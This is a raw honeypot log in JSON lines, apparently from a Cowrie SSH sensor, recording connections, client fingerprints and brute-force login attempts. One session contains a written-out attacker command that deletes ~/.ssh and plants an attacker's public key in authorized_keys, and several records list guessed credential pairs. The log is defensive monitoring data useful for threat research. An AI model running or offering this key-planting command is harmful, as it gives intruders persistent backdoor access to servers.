{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:58.859459Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:59.094363Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:59.635890Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:59.638432Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:59.872617Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:56:59.876030Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":38130,"dst_ip":"10.17.0.5","dst_port":22,"session":"b70143a55a29","protocol":"ssh","message":"New connection: 157.15.59.121:38130 (10.17.0.5:22) [session: b70143a55a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:00.098464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:00.102916Z","src_ip":"157.15.59.121","session":"b70143a55a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:00.334517Z","src_ip":"157.15.59.121","session":"b70143a55a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:01.293504Z","src_ip":"157.15.59.121","session":"b70143a55a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:02.527350Z","src_ip":"157.15.59.121","session":"b70143a55a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":38138,"dst_ip":"10.17.0.5","dst_port":22,"session":"a81cb5a24a10","protocol":"ssh","message":"New connection: 157.15.59.121:38138 (10.17.0.5:22) [session: a81cb5a24a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:02.764811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:02.769687Z","src_ip":"157.15.59.121","session":"a81cb5a24a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:03.002746Z","src_ip":"157.15.59.121","session":"a81cb5a24a10","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:03.964340Z","src_ip":"157.15.59.121","session":"a81cb5a24a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:04.193352Z","src_ip":"157.15.59.104","session":"d936f02da458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:04.199749Z","src_ip":"157.15.59.121","session":"a81cb5a24a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":48880,"dst_ip":"159.203.135.109","dst_port":22,"session":"499aa23e902a","protocol":"ssh","message":"New connection: 43.245.143.215:48880 (159.203.135.109:22) [session: 499aa23e902a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:22.907302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:22.911440Z","src_ip":"43.245.143.215","session":"499aa23e902a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:23.196673Z","src_ip":"43.245.143.215","session":"499aa23e902a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mob","password":"123","message":"login attempt [mob/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:24.372646Z","src_ip":"43.245.143.215","session":"499aa23e902a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:57:25.660517Z","src_ip":"43.245.143.215","session":"499aa23e902a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":33659,"dst_ip":"159.203.135.109","dst_port":22,"session":"e06699d5ad5a","protocol":"ssh","message":"New connection: 2.57.121.112:33659 (159.203.135.109:22) [session: e06699d5ad5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:06.380556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:06.385026Z","src_ip":"2.57.121.112","session":"e06699d5ad5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:06.484342Z","src_ip":"2.57.121.112","session":"e06699d5ad5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"666666q","message":"login attempt [admin/666666q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:06.953769Z","src_ip":"2.57.121.112","session":"e06699d5ad5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"666111","message":"login attempt [admin/666111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:08.055857Z","src_ip":"2.57.121.112","session":"e06699d5ad5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"619619","message":"login attempt [admin/619619] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:09.157247Z","src_ip":"2.57.121.112","session":"e06699d5ad5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"6161","message":"login attempt [admin/6161] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:10.259254Z","src_ip":"2.57.121.112","session":"e06699d5ad5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"551scasi","message":"login attempt [admin/551scasi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:11.365044Z","src_ip":"2.57.121.112","session":"e06699d5ad5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:58:12.467027Z","src_ip":"2.57.121.112","session":"e06699d5ad5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":60928,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c234cda40d5","protocol":"ssh","message":"New connection: 157.15.59.121:60928 (10.17.0.5:22) [session: 3c234cda40d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:18.825475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:18.829298Z","src_ip":"157.15.59.121","session":"3c234cda40d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:19.047908Z","src_ip":"157.15.59.121","session":"3c234cda40d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"f","password":"f@123","message":"login attempt [f/f@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:19.957172Z","src_ip":"157.15.59.121","session":"3c234cda40d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:21.180099Z","src_ip":"157.15.59.121","session":"3c234cda40d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45032,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4aa1f12006b","protocol":"ssh","message":"New connection: 195.178.110.218:45032 (159.203.135.109:22) [session: b4aa1f12006b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:44.495898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:44.500088Z","src_ip":"195.178.110.218","session":"b4aa1f12006b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:44.579134Z","src_ip":"195.178.110.218","session":"b4aa1f12006b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:44.817099Z","src_ip":"195.178.110.218","session":"b4aa1f12006b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:59:45.898848Z","src_ip":"195.178.110.218","session":"b4aa1f12006b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":57326,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed722bef705","protocol":"ssh","message":"New connection: 92.118.39.76:57326 (10.17.0.5:22) [session: 7ed722bef705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:00:27.678458Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:00:27.785805Z","src_ip":"92.118.39.76","session":"7ed722bef705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.115","src_port":54862,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc9ef66aac9b","protocol":"ssh","message":"New connection: 157.15.59.115:54862 (10.17.0.5:22) [session: bc9ef66aac9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:33.721636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:33.726172Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:33.952759Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
